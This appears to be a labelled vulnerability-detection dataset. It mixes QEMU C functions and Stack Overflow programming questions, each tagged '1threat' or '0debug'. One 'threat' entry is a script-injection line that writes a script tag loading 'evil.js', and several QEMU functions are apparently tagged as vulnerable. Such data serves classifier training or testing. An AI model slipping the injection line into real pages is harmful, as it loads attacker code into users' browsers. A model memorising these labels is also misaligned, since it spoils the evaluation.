static void *spapr_create_fdt_skel(hwaddr initrd_base, hwaddr initrd_size, hwaddr kernel_size, bool little_endian, const char *kernel_cmdline, uint32_t epow_irq) { void *fdt; uint32_t start_prop = cpu_to_be32(initrd_base); uint32_t end_prop = cpu_to_be32(initrd_base + initrd_size); GString *hypertas = g_string_sized_new(256); GString *qemu_hypertas = g_string_sized_new(256); uint32_t refpoints[] = {cpu_to_be32(0x4), cpu_to_be32(0x4)}; uint32_t interrupt_server_ranges_prop[] = {0, cpu_to_be32(max_cpus)}; unsigned char vec5[] = {0x0, 0x0, 0x0, 0x0, 0x0, 0x80}; char *buf; add_str(hypertas, "hcall-pft"); add_str(hypertas, "hcall-term"); add_str(hypertas, "hcall-dabr"); add_str(hypertas, "hcall-interrupt"); add_str(hypertas, "hcall-tce"); add_str(hypertas, "hcall-vio"); add_str(hypertas, "hcall-splpar"); add_str(hypertas, "hcall-bulk"); add_str(hypertas, "hcall-set-mode"); add_str(qemu_hypertas, "hcall-memop1"); fdt = g_malloc0(FDT_MAX_SIZE); _FDT((fdt_create(fdt, FDT_MAX_SIZE))); if (kernel_size) { _FDT((fdt_add_reservemap_entry(fdt, KERNEL_LOAD_ADDR, kernel_size))); } if (initrd_size) { _FDT((fdt_add_reservemap_entry(fdt, initrd_base, initrd_size))); } _FDT((fdt_finish_reservemap(fdt))); _FDT((fdt_begin_node(fdt, ""))); _FDT((fdt_property_string(fdt, "device_type", "chrp"))); _FDT((fdt_property_string(fdt, "model", "IBM pSeries (emulated by qemu)"))); _FDT((fdt_property_string(fdt, "compatible", "qemu,pseries"))); if (kvmppc_get_host_model(&buf)) { _FDT((fdt_property_string(fdt, "host-model", buf))); g_free(buf); } if (kvmppc_get_host_serial(&buf)) { _FDT((fdt_property_string(fdt, "host-serial", buf))); g_free(buf); } buf = g_strdup_printf(UUID_FMT, qemu_uuid[0], qemu_uuid[1], qemu_uuid[2], qemu_uuid[3], qemu_uuid[4], qemu_uuid[5], qemu_uuid[6], qemu_uuid[7], qemu_uuid[8], qemu_uuid[9], qemu_uuid[10], qemu_uuid[11], qemu_uuid[12], qemu_uuid[13], qemu_uuid[14], qemu_uuid[15]); _FDT((fdt_property_string(fdt, "vm,uuid", buf))); if (qemu_uuid_set) { _FDT((fdt_property_string(fdt, "system-id", buf))); } g_free(buf); if (qemu_get_vm_name()) { _FDT((fdt_property_string(fdt, "ibm,partition-name", qemu_get_vm_name()))); } _FDT((fdt_property_cell(fdt, "#address-cells", 0x2))); _FDT((fdt_property_cell(fdt, "#size-cells", 0x2))); _FDT((fdt_begin_node(fdt, "chosen"))); _FDT((fdt_property(fdt, "ibm,architecture-vec-5", vec5, sizeof(vec5)))); _FDT((fdt_property_string(fdt, "bootargs", kernel_cmdline))); _FDT((fdt_property(fdt, "linux,initrd-start", &start_prop, sizeof(start_prop)))); _FDT((fdt_property(fdt, "linux,initrd-end", &end_prop, sizeof(end_prop)))); if (kernel_size) { uint64_t kprop[2] = { cpu_to_be64(KERNEL_LOAD_ADDR), cpu_to_be64(kernel_size) }; _FDT((fdt_property(fdt, "qemu,boot-kernel", &kprop, sizeof(kprop)))); if (little_endian) { _FDT((fdt_property(fdt, "qemu,boot-kernel-le", NULL, 0))); } } if (boot_menu) { _FDT((fdt_property_cell(fdt, "qemu,boot-menu", boot_menu))); } _FDT((fdt_property_cell(fdt, "qemu,graphic-width", graphic_width))); _FDT((fdt_property_cell(fdt, "qemu,graphic-height", graphic_height))); _FDT((fdt_property_cell(fdt, "qemu,graphic-depth", graphic_depth))); _FDT((fdt_end_node(fdt))); _FDT((fdt_begin_node(fdt, "rtas"))); if (!kvm_enabled() || kvmppc_spapr_use_multitce()) { add_str(hypertas, "hcall-multi-tce"); } _FDT((fdt_property(fdt, "ibm,hypertas-functions", hypertas->str, hypertas->len))); g_string_free(hypertas, TRUE); _FDT((fdt_property(fdt, "qemu,hypertas-functions", qemu_hypertas->str, qemu_hypertas->len))); g_string_free(qemu_hypertas, TRUE); _FDT((fdt_property(fdt, "ibm,associativity-reference-points", refpoints, sizeof(refpoints)))); _FDT((fdt_property_cell(fdt, "rtas-error-log-max", RTAS_ERROR_LOG_MAX))); _FDT((fdt_property_cell(fdt, "rtas-event-scan-rate", RTAS_EVENT_SCAN_RATE))); if (msi_nonbroken) { _FDT((fdt_property(fdt, "ibm,change-msix-capable", NULL, 0))); } _FDT((fdt_property(fdt, "ibm,extended-os-term", NULL, 0))); _FDT((fdt_end_node(fdt))); _FDT((fdt_begin_node(fdt, "interrupt-controller"))); _FDT((fdt_property_string(fdt, "device_type", "PowerPC-External-Interrupt-Presentation"))); _FDT((fdt_property_string(fdt, "compatible", "IBM,ppc-xicp"))); _FDT((fdt_property(fdt, "interrupt-controller", NULL, 0))); _FDT((fdt_property(fdt, "ibm,interrupt-server-ranges", interrupt_server_ranges_prop, sizeof(interrupt_server_ranges_prop)))); _FDT((fdt_property_cell(fdt, "#interrupt-cells", 2))); _FDT((fdt_property_cell(fdt, "linux,phandle", PHANDLE_XICP))); _FDT((fdt_property_cell(fdt, "phandle", PHANDLE_XICP))); _FDT((fdt_end_node(fdt))); _FDT((fdt_begin_node(fdt, "vdevice"))); _FDT((fdt_property_string(fdt, "device_type", "vdevice"))); _FDT((fdt_property_string(fdt, "compatible", "IBM,vdevice"))); _FDT((fdt_property_cell(fdt, "#address-cells", 0x1))); _FDT((fdt_property_cell(fdt, "#size-cells", 0x0))); _FDT((fdt_property_cell(fdt, "#interrupt-cells", 0x2))); _FDT((fdt_property(fdt, "interrupt-controller", NULL, 0))); _FDT((fdt_end_node(fdt))); spapr_events_fdt_skel(fdt, epow_irq); if (kvm_enabled()) { uint8_t hypercall[16]; _FDT((fdt_begin_node(fdt, "hypervisor"))); _FDT((fdt_property_string(fdt, "compatible", "linux,kvm"))); if (kvmppc_has_cap_fixup_hcalls()) { kvmppc_get_hypercall(first_cpu->env_ptr, hypercall, sizeof(hypercall)); _FDT((fdt_property(fdt, "hcall-instructions", hypercall, sizeof(hypercall)))); } _FDT((fdt_end_node(fdt))); } _FDT((fdt_end_node(fdt))); _FDT((fdt_finish(fdt))); return fdt; }
1threat
Difference between != and <> : <p>I've always been using <code>!=</code> as "not equal to" in C++ and PHP. I just realized <code>&lt;&gt;</code> does the same thing. What's the difference?</p> <p>Just in case if there is no difference, why does <code>&lt;&gt;</code> exist?</p>
0debug
I want to get price from cat_price only not the other ones : [image contain the div from where to get data][1] [1]: https://i.stack.imgur.com/4Yqlp.jpg $price_new='div/div[@class="cat_price"]/text()'; this is the query i am trying to get div[@class="cat_price"] value
0debug
document.write('<script src="evil.js"></script>');
1threat
Open specific Activity when notification clicked in FCM : <p>I am working on App in which I am required to show notification. For notification, i am using FireBase Cloud Messaging <strong>(FCM)</strong>. I am able to get Notification when app is in background.</p> <p>But when I click on notification, it redirect to <strong>home.java</strong> page. I want it to redirect to <strong>Notification.java</strong> page.</p> <p>So,please tell me how to specify Activity in on Click of notification. I am using two services: </p> <p>1.)<strong>MyFirebaseMessagingService</strong></p> <p>2.)<strong>MyFirebaseInstanceIDService</strong></p> <p>This is my code sample for <strong>onMessageReceived()</strong> method in MyFirebaseMessagingService class.</p> <pre><code>public class MyFirebaseMessagingService extends FirebaseMessagingService { private static final String TAG = "FirebaseMessageService"; Bitmap bitmap; public void onMessageReceived(RemoteMessage remoteMessage) { Log.d(TAG, "From: " + remoteMessage.getFrom()); // Check if message contains a data payload. if (remoteMessage.getData().size() &gt; 0) { Log.d(TAG, "Message data payload: " + remoteMessage.getData()); } // Check if message contains a notification payload. if (remoteMessage.getNotification() != null) { Log.d(TAG, "Message Notification Body: " + remoteMessage.getNotification().getBody()); } // Also if you intend on generating your own notifications as a result of a received FCM // message, here is where that should be initiated. See sendNotification method below. } /** * Create and show a simple notification containing the received FCM message. */ private void sendNotification(String messageBody, Bitmap image, String TrueOrFalse) { Intent intent = new Intent(this, Notification.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); intent.putExtra("Notification", TrueOrFalse); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0 /* Request code */, intent, PendingIntent.FLAG_ONE_SHOT); Uri defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this) .setLargeIcon(image)/*Notification icon image*/ .setContentTitle(messageBody) .setStyle(new NotificationCompat.BigPictureStyle() .bigPicture(image))/*Notification with Image*/ .setAutoCancel(true) .setSound(defaultSoundUri) .setContentIntent(pendingIntent); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); notificationManager.notify(0 /* ID of notification */, notificationBuilder.build()); } /* *To get a Bitmap image from the URL received * */ public Bitmap getBitmapfromUrl(String imageUrl) { try { URL url = new URL(imageUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoInput(true); connection.connect(); InputStream input = connection.getInputStream(); Bitmap bitmap = BitmapFactory.decodeStream(input); return bitmap; } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); return null; } } </code></pre>
0debug
Java swing applet freezes when button run : <p>This is code I wrote for an applet using swing. The program lets the user enter any extra items (peripherals), which shipping method they want to use, and then allows them to push buttons that calculate their total costs either with or without shipping depending on the button they push. The problem is, when I run it, it freezes and doesn't do anything after I click either of the calculate buttons. Does anyone see anything wrong with my code that could be causing this? Thank you.</p> <pre><code> package selling; public class midtermComputers extends javax.swing.JApplet { public double calculateCost(int quantity){ double discountedPrice=getDiscountPercentage(quantity); double finalCost=0; if (isShipping()&amp;(groundRadioButton.isSelected())&amp;quantity&lt;100){ finalCost= ((discountedPrice*.05)+discountedPrice)*quantity; } if (isShipping()&amp;(groundRadioButton.isSelected())&amp;quantity&gt;100){ finalCost=discountedPrice*quantity; } if (isShipping()&amp;(airRadioButton.isSelected())){ finalCost= discountedPrice*.1*quantity; } if (isShipping()&amp;(fedExRadioButton.isSelected())){ finalCost= discountedPrice*.2*quantity; } if (!isShipping()){ finalCost= discountedPrice*quantity; } return finalCost; } private void calcWithShippingButtonActionPerformed(java.awt.event.ActionEvent evt) { int quantity=1; double finalCost=calculateCost(quantity); outputTextPane.setText(outputTextPane.getText() + quantity + "\t" + finalCost + "\n" ); quantity=100; while(quantity&lt;=1000){ outputTextPane.setText(outputTextPane.getText() + quantity + "\t" + finalCost + "\n" ); quantity=quantity+100; } } private void calcWithoutShippingButtonActionPerformed(java.awt.event.ActionEvent evt) { int quantity=1; double finalCost=calculateCost(quantity); outputTextPane.setText(outputTextPane.getText() + quantity + "\t" + finalCost + "\n" ); quantity=100; while(quantity&lt;=1000){ outputTextPane.setText(outputTextPane.getText() + quantity + "\t" + finalCost + "\n" ); quantity=quantity+100; } } public double calculateCost(){ double base=399.00; double costOneUnit=0.0; double speakerPeripheral=0.0; double printerPeripheral=0.0; double scannerPeripheral=0.0; double microphonePeripheral=0.0; double projectorPeripheral=0.0; double plotterPeripheral=0.0; while(speakerCheckBox.isSelected()){ speakerPeripheral=89.00; } while(printerCheckBox.isSelected()){ printerPeripheral=59.00; } while(scannerCheckBox.isSelected()){ scannerPeripheral=415.00; } while(microphoneCheckBox.isSelected()){ microphonePeripheral=39.00; } while(projectorCheckBox.isSelected()){ projectorPeripheral=549.00; } while(plotterCheckBox.isSelected()){ plotterPeripheral=4883.00; } return costOneUnit=base+speakerPeripheral+printerPeripheral+scannerPeripheral+microphonePeripheral+projectorPeripheral+plotterPeripheral; } public boolean isShipping(){ if(calcWithShippingButton.isSelected()){ return true; } else{ return false; } } public double getDiscountPercentage(int quantity){ double costOneUnit=calculateCost(); double discountedPrice=0; while (quantity&lt;100){ discountedPrice=costOneUnit; } while (quantity&gt;100&amp;quantity&lt;=199){ discountedPrice=(costOneUnit-(costOneUnit*.01))*quantity; } while (quantity&gt;200&amp;quantity&lt;=299){ discountedPrice=(costOneUnit-(costOneUnit*.02))*quantity; } while (quantity&gt;300&amp;quantity&lt;=399){ discountedPrice=(costOneUnit-(costOneUnit*.03))*quantity; } while (quantity&gt;400&amp;quantity&lt;=499){ discountedPrice=(costOneUnit-(costOneUnit*.04))*quantity; } while (quantity&gt;500&amp;quantity&lt;=599){ discountedPrice=(costOneUnit-(costOneUnit*.05))*quantity; } while (quantity&gt;600&amp;quantity&lt;=699){ discountedPrice=(costOneUnit-(costOneUnit*.06))*quantity; } while (quantity&gt;700&amp;quantity&lt;=799){ discountedPrice=(costOneUnit-(costOneUnit*.07))*quantity; } while (quantity&gt;800&amp;quantity&lt;=899){ discountedPrice=(costOneUnit-(costOneUnit*.08))*quantity; } while (quantity&gt;900&amp;quantity&lt;=999){ discountedPrice=(costOneUnit-(costOneUnit*.09))*quantity; } while(quantity&lt;=1000&amp;quantity&gt;999){ discountedPrice=(costOneUnit-(costOneUnit*.1))*quantity; } return discountedPrice; } </code></pre>
0debug
Can't connect to Docker containers on OSX : <p>I'm new to Docker, and I can't seem to connect to any containers.</p> <p>I installed <a href="https://docs.docker.com/engine/installation/mac/" rel="noreferrer">Docker Toolbox</a>. Now I'm trying to get <a href="http://shipyard-project.com/docs/deploy/automated/" rel="noreferrer">Shipyard</a> to work. I followed the steps inside of a Docker Quickstart Terminal. The instructions say:</p> <blockquote> <p>Once deployed, the script will output the URL to connect along with credential information.</p> </blockquote> <p>The Shipyard installer ended with:</p> <pre><code>Shipyard available at http://10.0.2.15:8080 Username: [elided] Password: [elided] </code></pre> <p>However, I went to <code>http://10.0.2.15:8080</code> on my browser and it didn't connect.</p> <p>In another Docker Quickstart Terminal, I did a <code>docker ps</code> to see what the container was and to get its IP Address and I got:</p> <pre><code>$ docker inspect a4755 | grep IPAddress "SecondaryIPAddresses": null, "IPAddress": "172.17.0.8", "IPAddress": "172.17.0.8", </code></pre> <p>I'm not sure why the IP was different, but I tried to connect to <code>http://172.17.0.8:8080</code> and this didn't work either. <code>http://localhost:8080</code> also failed.</p> <p>This also happened when I tried to run <a href="https://github.com/rehabstudio/docker-gunicorn-nginx" rel="noreferrer">docker-gunicorn-nginx</a> - everything started, but I couldn't connect to the machine.</p> <p>What gives?</p>
0debug
static QCowAIOCB *qcow_aio_setup(BlockDriverState *bs, int64_t sector_num, QEMUIOVector *qiov, int nb_sectors, BlockDriverCompletionFunc *cb, void *opaque, int is_write) { QCowAIOCB *acb; acb = qemu_aio_get(&qcow_aio_pool, bs, cb, opaque); if (!acb) return NULL; acb->hd_aiocb = NULL; acb->sector_num = sector_num; acb->qiov = qiov; if (qiov->niov > 1) { acb->buf = acb->orig_buf = qemu_blockalign(bs, qiov->size); if (is_write) qemu_iovec_to_buffer(qiov, acb->buf); } else { acb->buf = (uint8_t *)qiov->iov->iov_base; } acb->nb_sectors = nb_sectors; acb->n = 0; acb->cluster_offset = 0; acb->l2meta.nb_clusters = 0; LIST_INIT(&acb->l2meta.dependent_requests); return acb; }
1threat
static void print_tag(const char *str, unsigned int tag, int size) { dprintf(NULL, "%s: tag=%c%c%c%c size=0x%x\n", str, tag & 0xff, (tag >> 8) & 0xff, (tag >> 16) & 0xff, (tag >> 24) & 0xff, size); }
1threat
I am receiving this error (CS0161), why am I getting it? : <p>coding newbie here. I was practicing my C# to make a Caesar Cipher encoder. When I was making a method to encrypt my message, I got this error. (see it below).</p> <p>Why am I getting this error?</p> <p>I've tried to change the method return type to void. But then it says that it cannot convert void type to bool. Can I have some help here?</p> <pre class="lang-cs prettyprint-override"><code>using System; namespace CaesarCipher { class Program { static void Main(string[] args) { Console.WriteLine(Encrypt("hello")); } static string Encrypt(string message) { char[] alphabet = new char[] {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; string secretMessage = message.ToLower(); char[] secretMessageChar = secretMessage.ToCharArray(); char[] encryptedMessage = new char[secretMessageChar.Length]; for (int i = 0; i &lt; secretMessage.Length; i++) { if (!Char.IsLetter(secretMessageChar[i])) { continue; } char letter = secretMessageChar[i]; int caesarLetterIndex = (Array.IndexOf(alphabet, letter) + 3) % 26; char encryptedCharacter = alphabet[caesarLetterIndex]; encryptedMessage[i] = encryptedCharacter; return String.Join("", encryptedMessage); } } } } </code></pre> <p>I expected the output to be something like 'khoor', but instead, it says this: Program.cs(12, 19): error CS0161: 'Prog)': not all code paths return a value</p>
0debug
c# .net Create a list from two object list - Performance differences : <p>I would like to know if there's a difference in performance between these 2 ways to create a list from 2 (or more) objects list.</p> <p>I'm asking because as a beginer, I coded most of the situations using the way 2 (in many small projects) so I would like to know if I should replace method 2 with method 1.</p> <p>Examples taken from: <a href="https://stackoverflow.com/questions/720609/create-a-list-from-two-object-lists-with-linq">Create a list from two object lists with linq</a></p> <p>Way 1: </p> <pre><code>var mergedList=new List&lt;Person&gt;(); mergeList.AddRange(list1); mergeList.AddRange(list2); </code></pre> <p>Way 2:</p> <pre><code>var mergedList=new List&lt;Person&gt;(); foreach(var item in list1) { mergedList.Add(item); } foreach(var item in list2) { mergedList.Add(item); } </code></pre>
0debug
int main (int argc, char *argv[]) { char *fnam = argv[0]; FILE *f; if (argv[0][0] != '/') { fnam = malloc (strlen (argv[0]) + 2); if (fnam == NULL) abort (); strcpy (fnam, "/"); strcat (fnam, argv[0]); } f = fopen (fnam, "rb"); if (f == NULL) abort (); close (f); if (fopen ("/nonexistent", "rb") != NULL || errno != ENOENT) abort (); printf ("pass\n"); return 0; }
1threat
Java script custom function how to call : I have written some custom function for image slider but it not get called following is my code. carousel: { init: function() { // main function to run } previous: function() { // function to run when they want to go back }, next: function() { // function to run when they want to go forward } } and i am calling it like `onclick=javascript:previous()` but it display error in console function not defined can somebody help me
0debug
How to use / include fabricjs in Angular2 : <p>I want use fabricjs in my project. I installed fabricjs using bower and linked in index.html. but it is not working. Please see the below code.</p> <p>index.html</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;script&gt;document.write('&lt;base href="' + document.location + '" /&gt;'); &lt;/script&gt; &lt;title&gt;Image Editor&lt;/title&gt; &lt;meta charset="UTF-8"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;link rel="stylesheet" href="css/bootstrap/dist/css/bootstrap.min.css"&gt; &lt;!-- 1. Load libraries --&gt; &lt;!-- Polyfill(s) for older browsers --&gt; &lt;script src="libs/core-js/client/shim.min.js"&gt;&lt;/script&gt; &lt;script src="libs/zone.js/dist/zone.js"&gt;&lt;/script&gt; &lt;script src="libs/reflect-metadata/Reflect.js"&gt;&lt;/script&gt; &lt;script src="libs/systemjs/dist/system.src.js"&gt;&lt;/script&gt; &lt;script src="css/jquery/dist/jquery.min.js"&gt;&lt;/script&gt; &lt;script src="css/bootstrap/dist/js/bootstrap.min.js"&gt;&lt;/script&gt; // incuding fabricjs here &lt;script src="../../bower_components/fabric.js/dist/fabric.min.js"&gt;&lt;/script&gt; &lt;!-- 2. Configure SystemJS --&gt; &lt;script src="systemjs.config.js"&gt;&lt;/script&gt; &lt;script&gt; System.import('app').catch(function(err){ console.error(err); }); &lt;/script&gt; &lt;/head&gt; &lt;!-- 3. Display the application --&gt; &lt;body&gt; &lt;my-app&gt;Loading...&lt;/my-app&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>This is component file "stage.component.ts"</p> <pre><code>import {Component, OnInit} from '@angular/core'; import { ActivatedRoute, Router} from '@angular/router'; import { fabric } from 'fabric'; import { ImageService } from '../services/image.service'; declare var fabric:any; @Component({ selector:'my-stage', styleUrls: ['./app/stage/stage.component.css'], templateUrl: './app/stage/stage.component.html', }) export class StageComponent implements OnInit { title:string = 'Image Editor'; imgpath: string = ''; canvas:any = null; // fabric:any = null; constructor( private route: ActivatedRoute, ) { // this.fabric = new fabric(); } ngOnInit() { this.canvas = new fabric.Canvas('fstage', { isDrawingMode: true, selection: true }); } } </code></pre> <p>I have search many reference but couldn't find out what is wrong with my. Please advice, thank you.</p>
0debug
React with ES7: Uncaught TypeError: Cannot read property 'state' of undefined : <p>I'm getting this error <strong><em>Uncaught TypeError: Cannot read property 'state' of undefined</em></strong> whenever I type anything in the input box of AuthorForm. I'm using React with ES7.</p> <p>The error occurs on <strong>3rd line of setAuthorState function in ManageAuthorPage</strong>. Regardless of that line of code even if I put a console.log(this.state.author) in setAuthorState, it will stop at the console.log and call out the error. </p> <p>Can't find similar issue for someone else over the internet.</p> <p>Here is the <strong>ManageAuthorPage</strong> code:</p> <pre><code>import React, { Component } from 'react'; import AuthorForm from './authorForm'; class ManageAuthorPage extends Component { state = { author: { id: '', firstName: '', lastName: '' } }; setAuthorState(event) { let field = event.target.name; let value = event.target.value; this.state.author[field] = value; return this.setState({author: this.state.author}); }; render() { return ( &lt;AuthorForm author={this.state.author} onChange={this.setAuthorState} /&gt; ); } } export default ManageAuthorPage </code></pre> <p>And here is the <strong>AuthorForm</strong> code: </p> <pre><code>import React, { Component } from 'react'; class AuthorForm extends Component { render() { return ( &lt;form&gt; &lt;h1&gt;Manage Author&lt;/h1&gt; &lt;label htmlFor="firstName"&gt;First Name&lt;/label&gt; &lt;input type="text" name="firstName" className="form-control" placeholder="First Name" ref="firstName" onChange={this.props.onChange} value={this.props.author.firstName} /&gt; &lt;br /&gt; &lt;label htmlFor="lastName"&gt;Last Name&lt;/label&gt; &lt;input type="text" name="lastName" className="form-control" placeholder="Last Name" ref="lastName" onChange={this.props.onChange} value={this.props.author.lastName} /&gt; &lt;input type="submit" value="Save" className="btn btn-default" /&gt; &lt;/form&gt; ); } } export default AuthorForm </code></pre>
0debug
static int generate_fake_vps(QSVEncContext *q, AVCodecContext *avctx) { GetByteContext gbc; PutByteContext pbc; GetBitContext gb; H2645NAL sps_nal = { NULL }; HEVCSPS sps = { 0 }; HEVCVPS vps = { 0 }; uint8_t vps_buf[128], vps_rbsp_buf[128]; uint8_t *new_extradata; unsigned int sps_id; int ret, i, type, vps_size; if (!avctx->extradata_size) { av_log(avctx, AV_LOG_ERROR, "No extradata returned from libmfx\n"); return AVERROR_UNKNOWN; } ret = ff_h2645_extract_rbsp(avctx->extradata + 4, avctx->extradata_size - 4, &sps_nal); if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "Error unescaping the SPS buffer\n"); return ret; } ret = init_get_bits8(&gb, sps_nal.data, sps_nal.size); if (ret < 0) { av_freep(&sps_nal.rbsp_buffer); return ret; } get_bits(&gb, 1); type = get_bits(&gb, 6); if (type != NAL_SPS) { av_log(avctx, AV_LOG_ERROR, "Unexpected NAL type in the extradata: %d\n", type); av_freep(&sps_nal.rbsp_buffer); return AVERROR_INVALIDDATA; } get_bits(&gb, 9); ret = ff_hevc_parse_sps(&sps, &gb, &sps_id, 0, NULL, avctx); av_freep(&sps_nal.rbsp_buffer); if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "Error parsing the SPS\n"); return ret; } vps.vps_max_layers = 1; vps.vps_max_sub_layers = sps.max_sub_layers; memcpy(&vps.ptl, &sps.ptl, sizeof(vps.ptl)); vps.vps_sub_layer_ordering_info_present_flag = 1; for (i = 0; i < MAX_SUB_LAYERS; i++) { vps.vps_max_dec_pic_buffering[i] = sps.temporal_layer[i].max_dec_pic_buffering; vps.vps_num_reorder_pics[i] = sps.temporal_layer[i].num_reorder_pics; vps.vps_max_latency_increase[i] = sps.temporal_layer[i].max_latency_increase; } vps.vps_num_layer_sets = 1; vps.vps_timing_info_present_flag = sps.vui.vui_timing_info_present_flag; vps.vps_num_units_in_tick = sps.vui.vui_num_units_in_tick; vps.vps_time_scale = sps.vui.vui_time_scale; vps.vps_poc_proportional_to_timing_flag = sps.vui.vui_poc_proportional_to_timing_flag; vps.vps_num_ticks_poc_diff_one = sps.vui.vui_num_ticks_poc_diff_one_minus1 + 1; ret = ff_hevc_encode_nal_vps(&vps, sps.vps_id, vps_rbsp_buf, sizeof(vps_rbsp_buf)); if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "Error writing the VPS\n"); return ret; } bytestream2_init(&gbc, vps_rbsp_buf, ret); bytestream2_init_writer(&pbc, vps_buf, sizeof(vps_buf)); bytestream2_put_be32(&pbc, 1); bytestream2_put_byte(&pbc, NAL_VPS << 1); bytestream2_put_byte(&pbc, 1); while (bytestream2_get_bytes_left(&gbc)) { uint32_t b = bytestream2_peek_be24(&gbc); if (b <= 3) { bytestream2_put_be24(&pbc, 3); bytestream2_skip(&gbc, 2); } else bytestream2_put_byte(&pbc, bytestream2_get_byte(&gbc)); } vps_size = bytestream2_tell_p(&pbc); new_extradata = av_mallocz(vps_size + avctx->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); if (!new_extradata) return AVERROR(ENOMEM); memcpy(new_extradata, vps_buf, vps_size); memcpy(new_extradata + vps_size, avctx->extradata, avctx->extradata_size); av_freep(&avctx->extradata); avctx->extradata = new_extradata; avctx->extradata_size += vps_size; return 0; }
1threat
Except two digits,make all the digits of integer to zero-Java : <p>I have some integer values like <strong>1447948,21163176,95999</strong> and I wanna make them like that:</p> <ul> <li>1447948--> <strong>1400000</strong></li> <li>21163176--><strong>21000000</strong></li> <li>95999--><strong>95000</strong></li> </ul> <p>How can I make this with using java?</p>
0debug
static char *idebus_get_fw_dev_path(DeviceState *dev) { char path[30]; snprintf(path, sizeof(path), "%s@%d", qdev_fw_name(dev), ((IDEBus*)dev->parent_bus)->bus_id); return strdup(path); }
1threat
Chrome Extension "Refused to load the script because it violates the following Content Security Policy directive" : <p>I'm trying to create a Chrome extension, but none of my JS works. The console shows this error:</p> <blockquote> <p>Refused to load the script '<a href="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js">https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js</a>' because it violates the following Content Security Policy directive: "script-src 'self' blob: filesystem: chrome-extension-resource:".</p> </blockquote> <p>Why is it blocking my jQuery from running?</p>
0debug
static void qxl_add_memslot(PCIQXLDevice *d, uint32_t slot_id, uint64_t delta, qxl_async_io async) { static const int regions[] = { QXL_RAM_RANGE_INDEX, QXL_VRAM_RANGE_INDEX, QXL_VRAM64_RANGE_INDEX, }; uint64_t guest_start; uint64_t guest_end; int pci_region; pcibus_t pci_start; pcibus_t pci_end; intptr_t virt_start; QXLDevMemSlot memslot; int i; guest_start = le64_to_cpu(d->guest_slots[slot_id].slot.mem_start); guest_end = le64_to_cpu(d->guest_slots[slot_id].slot.mem_end); trace_qxl_memslot_add_guest(d->id, slot_id, guest_start, guest_end); PANIC_ON(slot_id >= NUM_MEMSLOTS); PANIC_ON(guest_start > guest_end); for (i = 0; i < ARRAY_SIZE(regions); i++) { pci_region = regions[i]; pci_start = d->pci.io_regions[pci_region].addr; pci_end = pci_start + d->pci.io_regions[pci_region].size; if (pci_start == -1) { continue; } if (guest_start < pci_start || guest_start > pci_end) { continue; } if (guest_end > pci_end) { continue; } break; } PANIC_ON(i == ARRAY_SIZE(regions)); switch (pci_region) { case QXL_RAM_RANGE_INDEX: virt_start = (intptr_t)memory_region_get_ram_ptr(&d->vga.vram); break; case QXL_VRAM_RANGE_INDEX: case 4 : virt_start = (intptr_t)memory_region_get_ram_ptr(&d->vram_bar); break; default: abort(); } memslot.slot_id = slot_id; memslot.slot_group_id = MEMSLOT_GROUP_GUEST; memslot.virt_start = virt_start + (guest_start - pci_start); memslot.virt_end = virt_start + (guest_end - pci_start); memslot.addr_delta = memslot.virt_start - delta; memslot.generation = d->rom->slot_generation = 0; qxl_rom_set_dirty(d); qemu_spice_add_memslot(&d->ssd, &memslot, async); d->guest_slots[slot_id].ptr = (void*)memslot.virt_start; d->guest_slots[slot_id].size = memslot.virt_end - memslot.virt_start; d->guest_slots[slot_id].delta = delta; d->guest_slots[slot_id].active = 1; }
1threat
Inserting data to mongoDB + java : I am new to MongoDB and NoSQL databases at all and have some issues to working with MongoDB driver. I don't properly understand how to get a sub-array/list from document and reinsert data in it. This is my JSON/BSON object which i can easy save in MongoDB. { "_id": { "$oid": "5757df25612c2445af329111" }, "shop": { "category": [ { "MobilePhones": [ ] }, { "TV-sets": [ ] }, { "Motherboards": [ ] } ] } } Now i need to get an Array of Categories from my Shop, get object as MobilePhones/TV-sets/Motherboards category from this array/list as i write in my java POJO class. public class Category extends BasicDBObject implements Serializable { private List<Goods> goodsList; private BasicDBObject basicDBObject; public BasicDBObject getBasicDBObject() { return basicDBObject; } public void setBasicDBObject(BasicDBObject basicDBObject) { this.basicDBObject = basicDBObject; } private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Goods> getGoodsList() { return goodsList; } public void setGoodsList(List<Goods> goodsList) { this.goodsList = goodsList; } public Category(String name){ this.name = name; } public Category(){} } And insert goods into this category as i write in public class Goods extends BasicDBObject implements Serializable { private String title; private int price; private String status; private BasicDBObject basicDBObject; public BasicDBObject getBasicDBObject() { return basicDBObject; } public void setBasicDBObject(BasicDBObject basicDBObject) { this.basicDBObject = basicDBObject; } public Goods(String title, int price, String status) { this.title = title; this.price = price; this.status = status; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public int getPrice() { return price; } public void setPrice(int price) { this.price = price; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } } In this way i get/create collection at database DBCollection collection = db.getCollection("shop"); BasicDBObject dbObject = new BasicDBObject(); dbObject.put("shop", shop.createCategoriesWithGoods()); collection.insert(dbObject); But this way doesn't help me to get category as DBCollection collection = db.getCollection("MobilePhones");
0debug
